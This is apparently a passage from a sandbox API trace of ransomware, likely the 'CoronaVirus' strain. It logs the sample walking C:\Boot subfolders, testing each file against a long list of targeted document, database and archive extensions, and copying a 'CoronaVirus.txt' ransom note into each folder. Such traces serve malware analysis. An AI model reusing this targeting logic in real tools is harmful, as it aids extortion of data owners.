	[0083.269] wcsstr (_Str=".avi", _SubStr=".mui") returned 0x0
	[0083.269] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.270] wcsstr (_Str=".mov", _SubStr=".mui") returned 0x0
	[0083.270] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.270] wcsstr (_Str=".mp3", _SubStr=".mui") returned 0x0
	[0083.270] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.270] wcsstr (_Str=".vbs", _SubStr=".mui") returned 0x0
	[0083.270] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.270] wcsstr (_Str=".v8i", _SubStr=".mui") returned 0x0
	[0083.270] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.270] wcsstr (_Str=".erf", _SubStr=".mui") returned 0x0
	[0083.270] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.270] wcsstr (_Str=".epf", _SubStr=".mui") returned 0x0
	[0083.270] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.270] wcsstr (_Str=".mxl", _SubStr=".mui") returned 0x0
	[0083.270] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.270] wcsstr (_Str=".cfu", _SubStr=".mui") returned 0x0
	[0083.270] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.270] wcsstr (_Str=".mht", _SubStr=".mui") returned 0x0
	[0083.270] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.270] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.270] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.270] wcsstr (_Str=".old", _SubStr=".mui") returned 0x0
	[0083.270] FindNextFileW (in: hFindFile=0x600b90, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeafd29bd, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xeafd29bd, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0083.270] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0083.270] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0083.270] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.270] wcsstr (_Str=".bak", _SubStr=".txt") returned 0x0
	[0083.270] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.270] wcsstr (_Str=".bat", _SubStr=".txt") returned 0x0
	[0083.270] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.270] wcsstr (_Str=".doc", _SubStr=".txt") returned 0x0
	[0083.270] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.270] wcsstr (_Str=".jpg", _SubStr=".txt") returned 0x0
	[0083.270] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.270] wcsstr (_Str=".jpe", _SubStr=".txt") returned 0x0
	[0083.270] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.270] wcsstr (_Str=".txt", _SubStr=".txt") returned=".txt"
	[0083.271] malloc (_Size=0x1000) returned 0x2f3b5e0
	[0083.271] _swprintf (in: param_1=0x2f3b5e0, param_2="%s\\%s" | out: param_1="C:\\Boot\\hu-HU\\CoronaVirus.txt") returned 29
	[0083.271] wcsstr (_Str="C:\\Boot\\hu-HU\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0083.271] FindNextFileW (in: hFindFile=0x600b90, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5c171b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39d81d8, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1
	[0083.271] wcsncmp (_String1="m", _String2=".", _MaxCount=0x1) returned 63
	[0083.271] wcsncmp (_String1="me", _String2="..", _MaxCount=0x2) returned 63
	[0083.271] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.271] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.271] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.271] wcsstr (_Str=".bat", _SubStr=".mui") returned 0x0
	[0083.271] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.271] wcsstr (_Str=".doc", _SubStr=".mui") returned 0x0
	[0083.271] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.271] wcsstr (_Str=".jpg", _SubStr=".mui") returned 0x0
	[0083.271] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.271] wcsstr (_Str=".jpe", _SubStr=".mui") returned 0x0
	[0083.271] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.271] wcsstr (_Str=".txt", _SubStr=".mui") returned 0x0
	[0083.271] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.271] wcsstr (_Str=".tex", _SubStr=".mui") returned 0x0
	[0083.271] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.271] wcsstr (_Str=".dbf", _SubStr=".mui") returned 0x0
	[0083.271] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.271] wcsstr (_Str=".xls", _SubStr=".mui") returned 0x0
	[0083.271] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.271] wcsstr (_Str=".cry", _SubStr=".mui") returned 0x0
	[0083.271] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.271] wcsstr (_Str=".xml", _SubStr=".mui") returned 0x0
	[0083.271] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.271] wcsstr (_Str=".vsd", _SubStr=".mui") returned 0x0
	[0083.271] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.271] wcsstr (_Str=".pdf", _SubStr=".mui") returned 0x0
	[0083.271] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.271] wcsstr (_Str=".csv", _SubStr=".mui") returned 0x0
	[0083.271] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.271] wcsstr (_Str=".bmp", _SubStr=".mui") returned 0x0
	[0083.272] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.272] wcsstr (_Str=".tif", _SubStr=".mui") returned 0x0
	[0083.272] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.272] wcsstr (_Str=".1cd", _SubStr=".mui") returned 0x0
	[0083.272] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.272] wcsstr (_Str=".tax", _SubStr=".mui") returned 0x0
	[0083.272] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.272] wcsstr (_Str=".gif", _SubStr=".mui") returned 0x0
	[0083.272] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.272] wcsstr (_Str=".gbr", _SubStr=".mui") returned 0x0
	[0083.272] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.272] wcsstr (_Str=".png", _SubStr=".mui") returned 0x0
	[0083.272] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.272] wcsstr (_Str=".mdb", _SubStr=".mui") returned 0x0
	[0083.272] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.272] wcsstr (_Str=".mdf", _SubStr=".mui") returned 0x0
	[0083.272] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.272] wcsstr (_Str=".sdf", _SubStr=".mui") returned 0x0
	[0083.272] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.272] wcsstr (_Str=".dwg", _SubStr=".mui") returned 0x0
	[0083.272] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.272] wcsstr (_Str=".dxf", _SubStr=".mui") returned 0x0
	[0083.272] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.272] wcsstr (_Str=".dgn", _SubStr=".mui") returned 0x0
	[0083.272] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.272] wcsstr (_Str=".stl", _SubStr=".mui") returned 0x0
	[0083.272] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.272] wcsstr (_Str=".gho", _SubStr=".mui") returned 0x0
	[0083.272] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.272] wcsstr (_Str=".v2i", _SubStr=".mui") returned 0x0
	[0083.272] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.272] wcsstr (_Str=".3ds", _SubStr=".mui") returned 0x0
	[0083.272] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.272] wcsstr (_Str=".ppt", _SubStr=".mui") returned 0x0
	[0083.272] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.272] wcsstr (_Str=".acc", _SubStr=".mui") returned 0x0
	[0083.272] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.273] wcsstr (_Str=".vpd", _SubStr=".mui") returned 0x0
	[0083.273] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.273] wcsstr (_Str=".odt", _SubStr=".mui") returned 0x0
	[0083.273] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.273] wcsstr (_Str=".ods", _SubStr=".mui") returned 0x0
	[0083.273] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.273] wcsstr (_Str=".rar", _SubStr=".mui") returned 0x0
	[0083.273] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.273] wcsstr (_Str=".zip", _SubStr=".mui") returned 0x0
	[0083.273] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.273] wcsstr (_Str=".cpp", _SubStr=".mui") returned 0x0
	[0083.273] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.273] wcsstr (_Str=".pas", _SubStr=".mui") returned 0x0
	[0083.273] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.273] wcsstr (_Str=".asm", _SubStr=".mui") returned 0x0
	[0083.273] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.273] wcsstr (_Str=".rtf", _SubStr=".mui") returned 0x0
	[0083.273] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.273] wcsstr (_Str=".lic", _SubStr=".mui") returned 0x0
	[0083.273] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.273] wcsstr (_Str=".avi", _SubStr=".mui") returned 0x0
	[0083.273] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.273] wcsstr (_Str=".mov", _SubStr=".mui") returned 0x0
	[0083.273] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.273] wcsstr (_Str=".mp3", _SubStr=".mui") returned 0x0
	[0083.273] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.273] wcsstr (_Str=".vbs", _SubStr=".mui") returned 0x0
	[0083.273] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.273] wcsstr (_Str=".v8i", _SubStr=".mui") returned 0x0
	[0083.273] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.273] wcsstr (_Str=".erf", _SubStr=".mui") returned 0x0
	[0083.273] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.273] wcsstr (_Str=".epf", _SubStr=".mui") returned 0x0
	[0083.273] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.273] wcsstr (_Str=".mxl", _SubStr=".mui") returned 0x0
	[0083.273] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.273] wcsstr (_Str=".cfu", _SubStr=".mui") returned 0x0
	[0083.273] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.274] wcsstr (_Str=".mht", _SubStr=".mui") returned 0x0
	[0083.274] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.274] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.274] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.274] wcsstr (_Str=".old", _SubStr=".mui") returned 0x0
	[0083.274] FindNextFileW (in: hFindFile=0x600b90, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5c171b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf39d81d8, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb398, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0
	[0083.274] FindClose (in: hFindFile=0x600b90 | out: hFindFile=0x600b90) returned 1
	[0083.274] FindNextFileW (in: hFindFile=0x6009d0, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5d8ab4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1
	[0083.274] wcsncmp (_String1="i", _String2=".", _MaxCount=0x1) returned 59
	[0083.274] wcsncmp (_String1="it", _String2="..", _MaxCount=0x2) returned 59
	[0083.274] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\Boot\\it-IT") returned 13
	[0083.274] wcsncmp (_String1="C:\\Boot\\i", _String2="C:\\WINDOW", _MaxCount=0x9) returned -21
	[0083.274] wcsstr (_Str="C:\\Boot\\it-IT", _SubStr="Microsoft\\Windows") returned 0x0
	[0083.274] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\Boot\\it-IT\\CoronaVirus.txt" (normalized: "c:\\boot\\it-it\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0083.285] _alloca_probe () returned 0x4036d0
	[0083.285] GetFullPathNameW (in: lpFileName="C:\\Boot\\it-IT", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\Boot\\it-IT", lpFilePart=0x316583c*="it-IT") returned 0xd
	[0083.285] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xeaff8d16, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6007d0
	[0083.285] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.285] FindNextFileW (in: hFindFile=0x6007d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa010ccad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xeaff8d16, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0083.286] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0083.286] FindNextFileW (in: hFindFile=0x6007d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48a0490, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48a0490, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2123921c, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0083.286] wcsncmp (_String1="b", _String2=".", _MaxCount=0x1) returned 52
	[0083.286] wcsncmp (_String1="bo", _String2="..", _MaxCount=0x2) returned 52
	[0083.286] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.286] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.286] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.286] wcsstr (_Str=".bat", _SubStr=".mui") returned 0x0
	[0083.286] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.286] wcsstr (_Str=".doc", _SubStr=".mui") returned 0x0
	[0083.286] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.286] wcsstr (_Str=".jpg", _SubStr=".mui") returned 0x0
	[0083.286] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.286] wcsstr (_Str=".jpe", _SubStr=".mui") returned 0x0
	[0083.286] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.286] wcsstr (_Str=".txt", _SubStr=".mui") returned 0x0
	[0083.286] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.286] wcsstr (_Str=".tex", _SubStr=".mui") returned 0x0
	[0083.286] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.286] wcsstr (_Str=".dbf", _SubStr=".mui") returned 0x0
	[0083.286] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.286] wcsstr (_Str=".xls", _SubStr=".mui") returned 0x0
	[0083.286] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.286] wcsstr (_Str=".cry", _SubStr=".mui") returned 0x0
	[0083.286] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.286] wcsstr (_Str=".xml", _SubStr=".mui") returned 0x0
	[0083.286] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.286] wcsstr (_Str=".vsd", _SubStr=".mui") returned 0x0
	[0083.286] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.286] wcsstr (_Str=".pdf", _SubStr=".mui") returned 0x0
	[0083.286] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.286] wcsstr (_Str=".csv", _SubStr=".mui") returned 0x0
	[0083.286] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.286] wcsstr (_Str=".bmp", _SubStr=".mui") returned 0x0
	[0083.287] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.287] wcsstr (_Str=".tif", _SubStr=".mui") returned 0x0
	[0083.287] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.287] wcsstr (_Str=".1cd", _SubStr=".mui") returned 0x0
	[0083.287] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.287] wcsstr (_Str=".tax", _SubStr=".mui") returned 0x0
	[0083.287] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.287] wcsstr (_Str=".gif", _SubStr=".mui") returned 0x0
	[0083.287] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.287] wcsstr (_Str=".gbr", _SubStr=".mui") returned 0x0
	[0083.287] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.287] wcsstr (_Str=".png", _SubStr=".mui") returned 0x0
	[0083.287] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.287] wcsstr (_Str=".mdb", _SubStr=".mui") returned 0x0
	[0083.287] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.287] wcsstr (_Str=".mdf", _SubStr=".mui") returned 0x0
	[0083.287] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.287] wcsstr (_Str=".sdf", _SubStr=".mui") returned 0x0
	[0083.287] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.287] wcsstr (_Str=".dwg", _SubStr=".mui") returned 0x0
	[0083.287] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.287] wcsstr (_Str=".dxf", _SubStr=".mui") returned 0x0
	[0083.287] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.287] wcsstr (_Str=".dgn", _SubStr=".mui") returned 0x0
	[0083.287] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.287] wcsstr (_Str=".stl", _SubStr=".mui") returned 0x0
	[0083.287] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.287] wcsstr (_Str=".gho", _SubStr=".mui") returned 0x0
	[0083.287] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.287] wcsstr (_Str=".v2i", _SubStr=".mui") returned 0x0
	[0083.287] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.287] wcsstr (_Str=".3ds", _SubStr=".mui") returned 0x0
	[0083.287] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.287] wcsstr (_Str=".ppt", _SubStr=".mui") returned 0x0
	[0083.287] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.287] wcsstr (_Str=".acc", _SubStr=".mui") returned 0x0
	[0083.287] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.287] wcsstr (_Str=".vpd", _SubStr=".mui") returned 0x0
	[0083.288] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.288] wcsstr (_Str=".odt", _SubStr=".mui") returned 0x0
	[0083.288] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.288] wcsstr (_Str=".ods", _SubStr=".mui") returned 0x0
	[0083.288] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.288] wcsstr (_Str=".rar", _SubStr=".mui") returned 0x0
	[0083.288] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.288] wcsstr (_Str=".zip", _SubStr=".mui") returned 0x0
	[0083.288] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.288] wcsstr (_Str=".cpp", _SubStr=".mui") returned 0x0
	[0083.288] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.288] wcsstr (_Str=".pas", _SubStr=".mui") returned 0x0
	[0083.288] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.288] wcsstr (_Str=".asm", _SubStr=".mui") returned 0x0
	[0083.288] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.288] wcsstr (_Str=".rtf", _SubStr=".mui") returned 0x0
	[0083.288] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.288] wcsstr (_Str=".lic", _SubStr=".mui") returned 0x0
	[0083.288] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.288] wcsstr (_Str=".avi", _SubStr=".mui") returned 0x0
	[0083.288] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.288] wcsstr (_Str=".mov", _SubStr=".mui") returned 0x0
	[0083.288] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.288] wcsstr (_Str=".mp3", _SubStr=".mui") returned 0x0
	[0083.288] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.288] wcsstr (_Str=".vbs", _SubStr=".mui") returned 0x0
	[0083.288] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.288] wcsstr (_Str=".v8i", _SubStr=".mui") returned 0x0
	[0083.288] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.288] wcsstr (_Str=".erf", _SubStr=".mui") returned 0x0
	[0083.288] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.288] wcsstr (_Str=".epf", _SubStr=".mui") returned 0x0
	[0083.288] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.288] wcsstr (_Str=".mxl", _SubStr=".mui") returned 0x0
	[0083.288] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.288] wcsstr (_Str=".cfu", _SubStr=".mui") returned 0x0
	[0083.288] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.289] wcsstr (_Str=".mht", _SubStr=".mui") returned 0x0
	[0083.289] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.289] wcsstr (_Str=".bak", _SubStr=".mui") returned 0x0
	[0083.289] _wcslwr (in: _String=0x3165882 | out: _String=".mui") returned=".mui"
	[0083.289] wcsstr (_Str=".old", _SubStr=".mui") returned 0x0
	[0083.289] FindNextFileW (in: hFindFile=0x6007d0, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeaff8d16, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xeaff8d16, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0083.289] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0083.289] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0083.289] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.289] wcsstr (_Str=".bak", _SubStr=".txt") returned 0x0
	[0083.289] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.289] wcsstr (_Str=".bat", _SubStr=".txt") returned 0x0
	[0083.289] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.289] wcsstr (_Str=".doc", _SubStr=".txt") returned 0x0
	[0083.289] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.289] wcsstr (_Str=".jpg", _SubStr=".txt") returned 0x0
	[0083.289] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.289] wcsstr (_Str=".jpe", _SubStr=".txt") returned 0x0
	[0083.289] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0083.289] wcsstr (_Str=".txt", _SubStr=".txt") returned=".txt"
	[0083.289] malloc (_Size=0x1000) returned 0x2f3c5e8
	[0083.289] _swprintf (in: param_1=0x2f3c5e8, param_2="%s\\%s" | out: param_1="C:\\Boot\\it-IT\\CoronaVirus.txt") returned 29
	[0083.289] wcsstr (_Str="C:\\Boot\\it-IT\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
